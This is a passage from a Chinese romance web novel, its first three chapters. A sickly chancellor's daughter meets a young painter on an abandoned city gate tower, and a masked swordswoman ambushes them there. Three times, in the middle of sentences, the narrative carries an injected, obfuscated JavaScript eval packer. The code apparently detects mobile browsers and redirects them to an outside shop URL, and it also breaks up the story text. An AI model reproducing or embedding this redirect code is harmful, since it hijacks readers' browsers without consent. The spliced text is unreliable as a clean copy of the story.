《两情悦》 1. 城楼初遇 八月,暑热未消。 盛安城内接连下了好几日大雨,给城中带来些许凉意。 久雨初霁,天气恢复闷热,酥山变得更受欢迎。 虽说各家各味,但味道最好的还得是和羹居。 长街上,一辆朱红金漆马车徐徐而行,车盖四角处垂挂的鎏金铜铃随着马车的行进敲击出悦耳的叮叮声。 孩童们在街角嬉笑打闹,拍手哼唱着深夜听到的歌谣。 马车内,姚映梧抱着手炉,靠在云昙肩上上小憩。 云昙轻轻侧目看着小姐苍白的脸庞,长年不间断的服药也没有给小姐带来红润的脸色,反而透着病态的白。 她有些担心,“小姐您昨夜发病时都咳血了,如今才刚好些就急着出来买酥山,还是身体重要啊。” 姚映梧低低咳了几声,“知道你担心我,今日我身体已经好多了。我这病你也知道,时好时坏。要是今日不出来,明日,还不一定怎么样呢。” 云昙想起昨夜的情形就止不住后怕,小姐咳血咳到脱力,全靠大夫吊着最后一口气。 “那小姐也不能吃酥山,身子才刚好一点……” 姚映梧抬眸,看着云昙气鼓鼓的脸忍不住上手捏了一下,开口解释说:“酥山是买给长姐和阿弟的。自从我的病越来越重,连夏日也开始浑身发冷,父亲他便不许我吃这些寒凉之物了。他们二人为了不让我难过,从那以后也不再吃酥山了。” 说到这,姚映梧眼神都黯淡了几分,“我常年病着,姐姐从小就照顾我,迁就我。后来继母嫁到姚家生下明桉,也是阿弟来关心我,体贴我。昨夜我都听到了,大夫说我时日无多,还不知道能不能撑到明年夏天…就当这是我和他们最后一次吃酥山。云昙,你就别拦我了。” 姚映梧最后的话含了几分哽咽,云昙心下一软,也没再劝。只是伸过手试试小姐的手炉还热不热。 姚映梧满足的笑笑,估摸着到和羹居还有段路,又斜靠在软榻上小憩了一会。 吁———— 车夫勒住马说道:“二小姐,咱们到和羹居了。” 刚酉时,和羹居内已经人来人往。 掌柜陶昌正在柜台算着账,听见吆马声,抬头就望见门口停着的朱红金漆马车。他赶忙放下毛笔正正衣冠,到门口迎接。 “姚二小姐怎么今日亲自来了,那还是老样子,一份桂花糖糕?” 姚映梧掩唇轻咳了几下,回道:“今日不要糕了,要两份酥山。” 陶昌有些为难,“不瞒二小姐,最近天热,酥山卖得格外快些,冰窖里储备的冰块也就够两天的量…可刚刚御守府的高统领派人来,把小店余量的酥山都订了,要预备明日给高小姐过生辰宴,余下的那些还要在法因寺外布施。小店,现在没有额外的酥山能卖给小姐了。” 姚映梧挤出一抹难看的笑,手指下意识绞紧了手中的帕子,柔软的布料在她白皙的手上留下几道红痕,“还是老样子吧。我身体不大好,出门不太方便,以后还少不了麻烦陶掌柜派人把糕送到姚府来。” 陶昌接过云昙递来的银子,照例比糕点钱多了一些,“二小姐还是这么客气,能替姚府办事是陶某的荣幸,您放心,糕点一做好我就派人去送。” 姚映梧没再说什么,向他微微一笑,便和云昙离开了。 小二吴介虽在店里忙着,却一直注意着陶掌柜这边的情况,看见马车走远,赶紧小跑着出来问道:“掌柜的,咱们和羹居在盛安也算是第一酒楼,每天来的达官贵人不在少数,但朱红金漆马车我还是头一次见呢。” “你刚从滕州边境之地来不清楚,盛安虽是邺朝的都城,整个大邺朝可只有这一辆,乃开国国主桓帝御赐之物,是赐给当今丞相姚尺书的。” “可我看二小姐像有顽疾在身,姚家在盛安世家也算数一数二,怎么会让自家小姐病重不治呢。” “唉,你才来盛安城不知道也正常,姚家二小姐是有名的病西施,自小吃药。不过这病说来也怪,全盛安城的大夫都看了个遍也没人能治好。” 陶昌说到这引得他又想起往事,不免又长叹一声,“当时闼鞑和利鹘两国起了战火,邺朝边境也因此动荡不安。我一个人从滕州逃来盛安,幸好遇见二小姐生母先姚夫人在城外救济灾民替二小姐祈福庆生,我这才活下来。” 吴介知道自己表现的机会来了,“掌柜的您放心,您的恩人就是我吴介的恩人,以后给姚家送糕我亲自去送,一定不出差错。” “好,算你小子有心,以后好好在和羹居干事儿,好处少不了你的。” “那,掌柜的,我之前和您说我堂弟的事,您考虑的怎么样了。您放心,他以前在云州的酒楼说书是一流的,不会砸了咱们和羹居的招牌。” “既然是你堂弟,我用着也放心。你带几个伙计把大堂收拾出来,等他来了就让他在这说书。” “是,是,谢谢掌柜的。“ 马车上,姚映梧捧着手炉默不作声。 她轻轻描着手炉上刻的缠枝荷花纹样,回想昨夜的情形。 父亲和母亲连夜请了好几个大夫来看,又是喝药又是施针,长姐和阿弟都冒着雨跑来看她,可恨她连安慰的话都没力气说。想到这她不免悲从中来,眼泪也失控滑落几滴。 云昙看小姐这样十分难受,拿起手帕替她拭泪,开解道:“小姐酥山这几天天买不到,咱们过几天再来买,以后还有机会呢。” 云昙说完就后悔了,立刻找补道:“世上那么多大夫,小姐的病肯定还有办法的。对了小姐,您有没有想去的地方?咱们好不容易出来,不如去散散心?” 姚映梧心中百感交集,为了给自己看病,父亲都派不少人去寻前晋时精通玄门五术的乾坤道人,舅舅也在滕州遍找名医,可不知为什么她的病一直不见好。 如今长姐快要入宫为妃,阿弟也渐渐长大,再过几年他也到了致仕的年纪。只有她,拖着病重的身体苟延残喘,有愧于父亲的教导,今生,怕是没有机会延续家族百年荣光。 姚映梧悲痛之际怀念起自己七岁之前的日子,那时候她虽然也整日喝药,但大部分时间身体还算好,她还能和长姐常偷偷跑到大观门去玩。 长姐说,站在城楼上迎着落日的方向直直望去的地方就是滕州,是娘亲的家乡。 娘亲生她时难产,因为她的病整日带她四处求医,每晚都以泪洗面,以致身体落下病根,丢下她和姐姐早早去了。 舅舅不知何故,奏请陛下将娘亲的尸身带回了滕州安葬,自己和姐姐从此以后只能祭拜娘亲的衣冠冢。 “云昙,我想去大观门瞧瞧。” 车夫得知小姐要去大观门吓了一跳,忙开口劝阻道:“二小姐,这大观门原是前晋朝的城门,先皇攻打盛安时,前晋怀帝亲自坐镇守城。后来大观门失守,他也城楼上自刎而亡。先皇登基后不久便废弃大观门,改修了承天门为城门。那渐渐就没人去了,最近听说还闹鬼呢。” 姚映梧听闻闹鬼一事,神色更为淡然,“闹鬼之说大多都是捕风捉影之事,放心,你只管去便是。” 车夫驾车到了大观门,姚映梧见此处景色已与往日不同。 城门上原本朱红色的门漆早已斑驳脱色,城墙下杂草丛生,边上那颗百年的古树变得枝条盘杂,失去了原本规整的轮廓。 云昙扶着小姐往城楼上走去,看着台阶上只有一层薄薄的灰尘,心下松了一口气,这城楼不像闹鬼的样子。 二人静静站在城楼上,看着远处的山慢慢被西落的太阳染红,城郊外的林子时不时飞出几只鸟,拂面吹来的风有些温热,还残存着不远处的花香。 姚映梧身上暖融融的,全身都感觉轻快了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067066|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分。她第一次没顾上父亲时刻教导的礼仪规矩,伸了个懒腰。 姚映梧伸出手指着前方说:“云昙你看,那是我娘亲的家乡。” 云昙顺着看去,树林没有尽头,但她知道,顺着那个方向走很远很远的路就到滕州,云州和滕州紧邻,是大邺和兰诏的交界,兰诏云州是她的家乡。 姚映梧苦涩轻笑,“大观门是前晋平戈公主的驸马燕行川巡游的起点,他从这出发遍览前晋每一处风光,最后写出《大观游记》流传于世。我每次病重时最喜欢姐姐给我读大观游记,里面的山高耸入云,海一望无际,既有幽静柴扉,也有琼楼玉宇。小时候每次和长姐偷偷跑来这,我都幻想着书中所写的一切,能走出去,便览我大邺的山河。” “小姐等您身体好了,想去哪云昙都陪您去。”云昙呜咽着紧紧抱住小姐。 姚映梧回抱住她,安抚的拍拍她的背,“云昙我没事,就是有些触景生…咳咳咳……” “小姐您怎么样?要不要紧?” “我咳咳…咳…没事的。” 云昙气急连带声音不自觉提高了好几度,“您都咳成这样了还说没事呢。不行,小姐您的身体最重要,咱们得赶快回府看大夫!” 姚映梧拉住云昙的袖子轻轻晃动,“云昙,我真的没事。只是刚刚风太大,我有点着凉了而已。你看,我现在不是好好的嘛。” 哒,哒,哒。楼下传来的脚步声打断了两人的对话。 听见脚步声的云昙倒是被闹鬼的传闻吓坏了,下意识抓紧姚映梧微凉的手,手还在微微发抖。 姚映梧握紧云昙的手安抚道:“没事,这世上是没有鬼神的,鬼神之说多是别有用心之人粉饰目的的借口。就算世上真的有鬼,可人若行事磊落,何须惧怕鬼神。” 云昙被小姐这么一说也镇下心神,“小姐说的对,我不怕。” 哒,哒,哒。 高琢抱紧怀中的画匣,一步一步走上城楼。 他想着刚刚兄长的怒吼,画被撕碎时发出的刺啦声,喉咙一阵阵发紧,他只能死死咬住下唇,不让自己发出脆弱的声音。 他不明白,到了盛安兄长为什么像变了一个人一样。 城楼上,风吹起高琢白色的衣袍,他眼前是落霞余晖,他改主意了,兄长只是让他把这些作画的东西都丢掉,又没说不让他藏起来。对,就这么办。 打定主意,高琢长呼一口吐出胸口的郁气,一转身就看见两个姑娘站在他身后不远的地方。 高琢看着她的眼睛,眼波流转含着淡淡忧愁,彩霞打在她的发梢,一身藕色交领竹叶纹云锦裙,发间佩戴的七宝如意簪更衬得她面容昳丽,不染纤尘。 他脑袋一片空白,直直坠入她忧伤的双眸,再也不想离开。 姚映梧看着面前穿着纯白长衫的公子,长身玉立,目若朗星。他站在那一动不动,身后是晚风拂动的树叶。 她以前竟不知人的眼睛也能如此清澈纯粹。 古树上惊飞的鸟儿打破了三人间的宁静,姚映梧捕捉到他转身时面上残留一瞬的悲伤。 云昙在她耳边轻声说:“小姐,咱们回府吧。 姚映梧看了他一眼,对云昙微微点头,两人一前一后准备离开了。 “姑娘,我…”高琢见她要带着婢女离开,下意识开口叫住她,却不知道该说些什么。 姚映梧脚步一顿,疑惑地回过头,“公子有什么事吗?” 高琢被她盯着,身体像被钉在原地,四肢都不知道该怎么摆。望着她的脸,心跳得越来越快。 哗啦,高琢手一软,怀中的画匣摔开到地上,画散落了一地。 高琢快速捡起来,羞愤的火焰从脸颊烧到耳根,他垂下头懊恼自己怎么在姑娘面前如此冒失。 他飞快捡完画,一抬头,就见她踱步慢慢向他走来。 2. 情缘生 “公子,这些都是你画的吗?”画中大多寥寥几笔,却可见其画工精湛传神。 她的声音像她的人一般,清脆裹挟着一丝轻柔。像是一把音色清泠的古琴久久在高琢耳边回响。 高琢垂下头没敢再看她的眼睛,垂落的发丝正好挡住他红透的耳尖。 “是…姑娘,画的是我一路从家乡到盛安途中的景色,我兄长如今在盛安做官,我怕以后不会再回去了,就把它们画下来,算是留念吧。” 姚映梧询问过白衫公子,小心地从画匣中拿出一张画,画纸有些粗粝,不是什么名贵的宣纸。 她用手指轻轻摩挲着画上的每一笔,高山,河川,飞鸟,野花…… 画虽没有名家的气派,但有独属于他的意境,随心而画,不拘于世俗。 “不知公子是哪里人,兄长在盛安任什么官职?”姚映梧虽是第一次见他,却意外觉得投缘,思来想去还是打听一下他兄长的官职,以防他兄长是与父亲不和之人。 高琢听到她好奇自己的来历心里顿时起了波澜,看来刚才没有给她留下坏印象。 他回想着自己以前的事,脑中的记忆却很混沌,头越想越痛,全身上下像被灼烧般发烫。他喉咙发出痛苦的呜咽,四肢逐渐没了力气,紧接着两眼一黑扑通一声跪在了地上,彻底晕了过去。 一切发生的太突然,姚映梧甚至都来不及做什么反应,等他直直跪倒在地上,才陡然反应过来,急忙凑近看他有没有事。 她轻轻拨开他挡住脸的发丝,这才发现他的全身红的吓人,她立刻抬手试了他的体温,好烫。 “公子你怎么了,没事吧…咳,咳,咳咳……”姚映梧一着急,又咳起来,云昙忙替她拍背顺气。 “咳咳…云昙他身上烧得厉害,得赶紧带他去看大夫。” 两人不敢耽搁,先扶他靠在墙边,须臾间高琢慢慢睁开了眼,二人这才稍稍放下心来。 姚映梧庆幸他醒了过来,可瞧见他眼神依旧涣散还是有些担心,小心翼翼的又试了试他的体温。 呼,还好恢复正常了。 高琢过了好一会意识才渐渐恢复,身体上被烧灼的痛感也慢慢消褪。他缓过神来发现自己正靠在墙边被两位姑娘围着,一时顿觉有些难为情。 额头上意外覆上了一只微凉的手,虽然只停留了几秒,可冰凉的触感过后,被触碰的皮肤在隐隐发烫。 高琢要说的话全部堵在了他的喉咙,他们刚刚离得太近,高琢闻到了她身上一股独特的清苦味,他脑袋逐渐一片空白,喉咙里堵住的话也随着被风吹散的味道一起消散了。 他不知道自己下一步该怎么办,只是下意识的想看着她,一直看着她。 云昙见他一直看着小姐气不打一处来,想着他是个病人又不好说些重话,只能在一旁怒气冲冲瞪着他,结果他不仅毫无察觉,还看得更入迷了。 云昙怒火中烧眼神也更加凌厉,盯着他的侧脸,云昙脑海中瞬间闪过一张脸,很快,快到她都没看清,再回想时,已经想不起来了。 姚映梧被他澄澈的双眼注视的有些羞怯,脸上浮起一抹酡红。 一时间三个人都没再说话,空旷的城楼只能听见三人的呼吸声。 姚映梧看看出神的云昙,又看了一眼那位陌生的公子,他整张脸透着艳丽的红,直勾勾的注视着她。 她顿然发觉,他们好像靠得太近了。 姚映梧跪坐在地上眼含笑意望着他,“刚刚我问的问题,公子还没回答我呢。” 高琢对上她期待的眼睛,笑盈盈说:“我兄长如今是御守府的统领,我们家乡在一个小山谷的小村落,离盛安特别远。” 他们虽是初见,高琢却私心想告诉他关于自己的事,他没有缘由的信任眼前的姑娘。 “能在城楼遇见姑娘也算缘分,姑娘叫我高琢便好。刚才,我不是故意不理姑娘的,前段日子我生了场大病,高烧了好几日,许多事都记不清。每次一回想,便会头痛。” 姚映梧听到御守府三个字耳边嗡得一声,她猛然想起陶掌柜同她说御守府高统领为了给女儿过生辰订了全部的酥山。 御守府都是陛下的亲信死士,只听陛下差遣,明面上是守卫皇宫安全,暗地里替陛下扫清障碍。他们的统领一直是忠勇侯之子甘霆,他最得陛下信任,现在居然…… 姚映梧惊讶于如今朝堂的变化,可听见他说及缘分时有些复杂的情绪也在心里弥漫。 “高公子说得对,以后我们就是朋友了。对了,你刚才为什么抱着画来城楼啊?还一副很伤心的样子。” 姚映梧存了私心,她想帮他,想把父亲挂在嘴边常说的朝堂局势和世家争斗放到一边,他是自己认识的第一个朋友。 “我兄长自从来到盛安就性情大变,整日督促我练武读书。明日是为我侄女补办的生辰宴,我想画一副我们在家乡时的画送给她。可我病好后,怎么也记不起姐姐们的样子。我只好跑去问兄长,他却大发雷霆撕掉了我的画,说,以后不许我再作画。” 高琢越说声音越低沉,“他以前不是这样的。小时候,我除了跟姐姐学习丹青有点悟性外,其他的事我都做的都不好,可他从来都不在意。” “盛安门阀贵族众多,世家大族为了家族兴盛不衰培养子女大多严苛,你兄长既已入朝为官,肯定也不能免俗。”姚映梧想起父亲大部分时间都冷硬的脸,出言安慰道。 “我生在盛安最有名望的士族姚家,却自幼多病。大邺的大好河山我未曾看过,连这盛安城我都无力走出去,更别提什么理想和抱负了。父亲教我读书却从不求我能做女官,可我也想和长姐一样。我时常想,要是我没生病就好了……” 姚映梧缄默一瞬,攥紧拳头任由指甲掐进肉里,她默默压下心里的沉痛,故作轻松道:“公子还有大好年华,所有的失意和不顺都是暂时的,你和兄长有什么解不开的误会,一切都来得及。” 高琢没想到她会安慰自己,开心之余也释怀一笑。 “多谢,我现在心情好多了。”高琢顿了片刻继而问道:“姑娘说自己生病,是什么病?严重吗?” “自幼带的寒症,如今…不是什么大事了。” “那就好,那就好。” 他将画都放进画匣递给她,“其实,只要家人还在身边一切痛苦都不算什么的。虽然我的家乡不如盛安繁华,但我和他们在一起每天都很开心。这些画是我一路上看见邺朝所有山川江河,我把它送给姑娘,我相信总有一天你会亲眼去看的。” 姚映梧接过画匣,知道里面每一张都是倾注心血画成的,“你不是说要留做纪念,把它们都给我你怎么办?” “我觉得它们更适合姑娘,能送给你,我很开心。” 手中的高琢递来的画匣沉甸甸的,上面还带着他身上的温度。两人相视一笑,不知怎么都红了脸,同时低下了头。 云昙思来想去也没想起在哪见过他,可听着他们二人说话,心里又是酸涩又是欣慰。 大小姐和三少爷虽时常来陪伴小姐,但大部分时间小姐都在病中独自度过。多年的病痛和随时到来的死亡让小姐习惯把很多话都藏在心里,如今小姐能能把这些话说出来让她很开心。 云昙抬眸看见小姐原来苍白的脸庞浮上一抹红晕,嘴角微微上扬,转而又低下头悄悄退回原处,没有打破二人微妙的氛围。 天边的霞光与落日的余晖交融,橘色的光辉给破败冰冷的城楼镀上一层柔软的外壳。 咚咚咚——! 承天门方向响起暮鼓声,入戌时,要关城门了。 姚映梧听见鼓声后心里轻叹一声,虽然盛安不禁夜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067067|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但这么晚还没回家,姐姐该担心了。 “高公子我和云昙也该回去了,以后公子有需要我的地方可以来姚府找我,我一定…” 高琢听着姚姑娘清脆的声音嘴角不由绽开一抹笑,刹那间,树影中跳出一个人影,手持剑刃从树上飞身而下。他惊恐万分,来不及思考直接飞奔上前将她向后一推,高琢来不及关心她有没有受伤,一掌推开云昙,拿过她手中的画匣挡住眼前泛着冷光的剑。 锋利的剑刃劈开画匣,连带里面的画也没有幸免。 姚映梧猝不及防的后退了几步,没站稳摔倒在地上。云昙挨了高琢一掌,向后连退数步才堪堪站稳。 云昙瞥见小姐摔倒在地,连忙跑到小姐身旁,将她护在身后。 姚映梧身体状况比不上常人,瘫坐在地上咳得厉害。 蒙面人劈开画匣手中剑招未停,直冲高琢面门而去,高琢未带随身的兵器,周围也没有可用的趁手家伙,看着眼前越来越近的剑刃,上面的寒光刺的高琢闭上了眼睛,“姚小姐,你和云昙姑娘快走。” 高琢说完就迎着蒙面人冲去,想要拖住他为两人争取逃跑的机会。 云昙反应过来拉起小姐就往外跑,蒙面人见状迅速收剑,抬手点了高琢的穴位让他无法运气,接着一脚将他踹开,又一闪身跃到她们身前挡住她们的去路。 剑锋挟风抵在姚映梧喉间,只差几寸便能割开她的喉咙。蒙面人低沉声音说:“两位小姐要是不想在此丧命,还是乖乖和那位公子待在一起吧。” 姚映梧看此人穿墨色武袍手持长剑,头带帷帽,系面巾遮面,想来是不想让人知晓身份。 她回头看着地上躺着的高琢,拉紧云昙的手警惕地退到他身边。姚映梧坐下让高琢靠在她身上,她伏在他耳边低语,“你受伤了?” 他冲她摇摇头表示自己没事,姚映梧:“不知阁下要怎样才能放过我们?” 蒙面人没说话,走到已经碎裂的画匣旁用剑挑开画的碎片细细翻看。 蒙面人出手很重高琢额上疼出了冷汗,他咬紧牙说道:“阁下刚刚一出手就是冲着我来的,没必要牵连两位姑娘,她们是无辜的,放她们走,要杀要剐我悉听尊……” 姚映梧捂住高琢的嘴说:“我们不会走的,高琢如今被你打伤,我们也没有武功,不如说说你的条件吧。只要不伤害我们三人性命,不危害于大邺,只要你提出来,我一定答应。” 蒙面人走到姚映梧面前蹲下看着她的眼睛,嗤笑一声说道:“看来你比他聪明点,知道我不会放你们走。” 蒙面人虽带着帷帽可说话间却靠得很近,姚映梧微微向后挪动了几下,避免和他靠得太近。 高琢看姚姑娘不舒服,坐直身体挡在她身前说:“你…你靠那么近干什么,说你的条件就是,只要你不杀我们三人,我也能满足你的条件。” 蒙面人听了高琢的话冷哼一声,抬手一拳打在高琢的脸上,“我看你还学过点功夫,习武之人剑不离身这你都做不到,还敢开口许诺我什么?” 高琢被蒙面人打得偏过头,失去重心趴在地上。 他双手撑起身体,稳住声音说:“如果阁下以此论断我不可信我可以解释,盛安是大邺国都,不会有歹人敢在皇城内行凶,所以我才未带兵器。我兄长是御守府统领,阁下的要求我做不到,他一定能办到。” 蒙面人没有接高琢的话,安静的看着他。 城楼上起了风,吹开蒙面人的帷帽的纱帘,面纱没挡住的那半张脸,细眉若柳叶,桃花似的眼眸深藏寒光。 虽然没见其全貌,但姚映梧与云昙目光迅速交汇,蒙面人是女子。 高琢望着极其熟悉的半张脸脑袋又传来一阵刺痛,他晃了晃头让自己清醒清醒,再抬眼时,吹动的纱帘下,若隐若现的寒光传来的是深深的杀意。 3. 遇袭遇喜 蒙面人毫不掩饰的杀意让高琢全身紧绷起来,他暗中提气确实在用不上力气,被封住穴道影响了他调动内力。 脸上被打的伤还在隐隐作痛,他十分后悔,今日怎么能一时意气用事,居然都没随身带上横刀。 如今自己连内力都被封住,难道,今天真的要死在这了吗。 他回首望去,姚姑娘还双眼警惕地盯着蒙面人。她神色淡然,察觉到他的目光还冲他莞尔一笑,说:“公子无需担心,我不怕死。” 不!他才不能让她出事! 高琢咬紧牙关,想强行冲开穴道,蒙面人察觉到他的意图迅速按住他的手腕一扭,用另一只手替他解开了穴道。 高琢不解的望着蒙面人,蒙面人没理会他,只手中银光一闪将剑收回腰间。 “我要真想杀你,你这颗脑袋早就落地了。” 蒙面人嗤笑一声继续说道:“如今公子一家在盛安真是风光无限啊,兄长是朝廷新贵,你又攀上了丞相府小姐,在盛安的日子一定惬意极了吧。” 高琢听出他话里有话,气愤道:“你休要信口雌黄,我是真心想和姚姑娘做朋友的,从未存过攀附之心。” “我信。” 高琢惊讶地回眸,姚映梧对上他呆滞眼神笑了笑,才又接着说:“我和高琢相遇实属偶然,我们相谈甚欢一见如故,何谈攀附一说。” 高琢眼神灼灼地盯着她,亮闪闪的眼睛红了一圈,她信他,还说他们两人一见如故。 蒙面人看着这一幕眯起眼睛,而后冷冷的勾起唇角道:“两位住在盛安,想必对盛安很是了解,我只是想要向二位打听点事情,等事情问清楚了,我自然会放你们走。” 蒙面人转变之快让姚映梧眉头一皱,只是打听事情何须要打伤高琢还威胁她和云昙。 蒙面人负手而立,眼神不停在高琢和姚映梧脸上掠过,“我在兰诏时曾被肖家人救过,听闻肖家在邺朝算军功卓著,我有心拜访却找不到肖府所在,这才想向你们两位打探一下。” 高琢听后长舒了一口气,“这点事何须阁下如此大动干戈,肖家也是邺朝的名门望族,阁下在盛安随便打听一下就知道了。” “我自是有…”蒙面人突然停住,改口说道:“我身份有些不便,知道两位都是盛安的世家子弟,应该都与肖家人有过往来,知道肖府在哪。” 高琢听完低声对姚映梧说:“姚姑娘,虽然这人只是想问路,但我怕他出尔反尔。姚家和肖家都是邺朝数一数二的世家大族,你有没有和肖家关系亲近的至交,告诉这个蒙面人,他一心软说不定就放了你们,你和云昙姑娘赶紧脱身离开这才安全。” 姚映梧不可置信的看着高琢,低声问道:“你兄长都没有和你说过肖家和姚家的事吗?” “我只听他说过定远侯是邺朝的开国功臣,邺朝周边几国将领都没有他的对手。而且他一双儿女更是武艺精湛,他很是羡慕。他还说以后等他在朝中坐稳些,就会请肖家人来当我的师父呢,到时候我的武艺绝对在他之上。” 姚映梧见他神色坦然,摇头道:“我父亲常说肖家人大多恃才傲物不可亲近,你兄长没机会请他们做你师父了。” 蒙面人突然开口问姚映梧说:“御守府统领是什么官职?” 姚映梧好心解释道:“是三品官员且直属陛下,统领只听从陛下一人调遣,是陛下的心腹之人。” “那肖家呢?” “定远侯功勋卓著在邺朝地位显著,肖家更是辅佐了两代君王,当今皇后也是肖家女,论功绩和对陛下对整个邺朝的贡献,武将中难有人能与之比较。要是论地位,全邺朝也只有忠勇侯甘毅能与之比较了。” “定远侯?肖府难道就是盛安城内的定远侯府?” “对,前晋被我邺朝攻破国都亡国后,我大邺、兰诏、利鹘三国分夺前晋国土,老侯爷肖厝随率部下铁甲覆面军替我邺朝夺取城池众多,先帝敕封定远侯子孙世代袭爵,还在盛安赐居定远侯府。我想,姑娘这才找不到肖府。” 云昙简直难以置信,在邺朝居然有人不知道定远侯不知道肖家,她是兰诏人都听过肖家的事。 高琢也瞪大了双眼,没想到,蒙面人居然是个姑娘。 咳咳,咳。天已日暮,姚映梧快到喝药的时辰又开始咳了起来。 蒙面人越过高琢径直走到姚映梧面前,不容她挣扎直接扣上她的脉搏。 替她把完脉,蒙面人盯着她看了好一会才说道:“姚小姐,得的这病是不是每日都全身无力,秋冬时甚至还会全身发冷。只要一咳起来就会咳上一整日,喝药也不管用,每晚子时到丑时咳症还会加重。” 姚映梧猛地怔住,望向蒙面人时面上虽无虞,心里却已掀起了惊涛骇浪。她声音忍不住颤抖,“我的病症,姑娘说的都对,不知…不知姑娘可知道,这是什么病?” “我幼时便随师父习武学医,在医书上见过这种病,不知小姐是什么时候得病的?” “我生来就有这病,看了许多大夫,药也不知喝了多少,可总不见好。这几年来,病也越来越重。” “那小姐知道自己得的是什么病?都吃过什么药?” “大夫们都说是娘胎里带的弱病,先天不足导致气血两亏才会咳疾反复,通体生寒。药都是些温补止咳的药,没什么特别的。” “小姐这病原本不难治。”蒙面人收回手一字一句道:“只是小姐自幼生病,又被那些庸医浪费了很多时间,怕是很难痊愈了。我最多只能让小姐,多活几年。” 姚映梧颤抖着说:“能再多活几年对我来说已经是万幸了,您若能治我的病,在相府能力之内,只要您开口的东西定双手奉上。” 蒙面人语气中听不出什么波动,“都是浮名虚利,我只有一个要求,你们不能把见过我的事说出去。” 姚映梧以为蒙面人是介意姚肖两家关系水火不容,救了自己怕被肖家误会,所以解释道:“我绝无意影响姑娘和肖家的关系,此事我绝不外传,若有私心,不用姑娘出手,我愿……” “姑娘不要!” 高琢下意识堵住了姚映梧即将出口的话,他看着蒙面人说道:“若我、姚姑娘和云昙姑娘三人泄露出有关你的半个字,我高琢愿承担一切罪过,不得善终。” 姚映梧望着高琢的背影一股气堵在心口不上不下,闷得她鼻子发酸。 高琢的掌心热热的,握着她的手越来越用力又忽地松开,让她原本冰凉的指尖都沾上了热度。 蒙面人不知怎么愣了许久,好一会才冷笑一声说道:“小姐应该知道扶兴书院吧。” 姚映梧一惊,“姑娘是说前晋平戈公主设立的扶兴书院?平戈公主虽为前朝王室,但所为令人敬佩。不仅与母亲宣帝开设女官女将,还下令军队训练出战皆覆铁面,不分性别,不看家世,军中晋升只论实力和军功。” “没错,当时宣帝还只是长公主。她看灵帝因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067068|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听信佞臣越发昏聩,沉迷成仙不问朝政,便派女儿平戈公主跟江湖上有名的乾坤道人学艺。” 姚映梧吃惊道:“没想到平戈公主和竟是乾坤道人的徒弟。我自小就听公主的事,她学成归来辅佐母亲推翻灵帝,与母亲携手立朝纲,轻赋税;兴农桑,修水利;重科举,轻门荫:杀佞臣,除弊端。自著百草医经解世间奇病,建扶兴书院传学育前晋人才,为国征战将各路反叛藩王拦至大观门外,晋朝又兴盛六年之久。” 姚映梧一时激动又咳起来,“道人精通玄门五术,只可惜早已避世隐居。我父亲也曾派人寻找,想求其出关为我治病,只可惜遍寻无果。” 蒙面人叹气道:“我师父也曾在扶兴书院学习,学成后还未离开盛安,大邺就与前晋开战,直到盛安被攻破前我师父才杀出包围侥幸逃出,他的兄弟姐妹大多死于战乱,他也是身受重伤。我偷偷下山只为我自己报恩,不愿让他再受牵连,沾惹各国是非。” 姚映梧不免也长吁一声,难怪她带了帷帽还系着面巾,如此费力遮掩身份。她找了肖家好几天,为了不暴露躲在没什么人来的大观门是最好的。而且她很可能都是晚上出去,她轻功这么好,难怪最近大观门会出现闹鬼的传闻。 “姑娘尽可放心,我们一定守口如瓶。只是,我不知姑娘是否是每日深夜探寻肖府。” “……为了不暴露身份,我只好出此下策。” “如今大观门闹鬼传闻愈演愈烈,反而容易暴露姑娘所在。如今姑娘已经知道定远侯府就是要找的地方,白天寻个机会去定远侯府走一趟就好。肖家在盛安门客众多,不会引人注目的。” “多谢小姐提醒。”蒙面人拿出一个药瓶,倒出里面仅有的一粒药丸让姚映梧服下。“你帮了我,我也算报答你了,咱们今后两不相欠,告辞了。”说完便飞身离去。 姚映梧服完药,喉间一直压着的咳意瞬间减轻了许多。 云昙低声提醒道:“小姐,咱们该回去了。” 她转头看向高琢,“高公子出门时匆忙,应是没来得及套马车。我们相谈甚欢,公子还送了我礼物。我本应相送,但今日所乘马车是先帝所赐,盛安无人不识。” 你我走得太近,会害你辜负你兄长对你的期待。姚映梧咽下后半句,摘下腰间系的牡丹暖玉佩递给高琢,“这是家父奉命随振威将军扫清利鹘遗祸时带回来的暖玉佩,今日赠给公子。以后公子若有事,可以凭此玉佩来丞相府找我。” 高琢接过玉佩,心中莫名的开心。 他嗫嚅着说:“姚…姚姑娘……送你的画都弄坏了,到时候,我再画些新的送给你。” 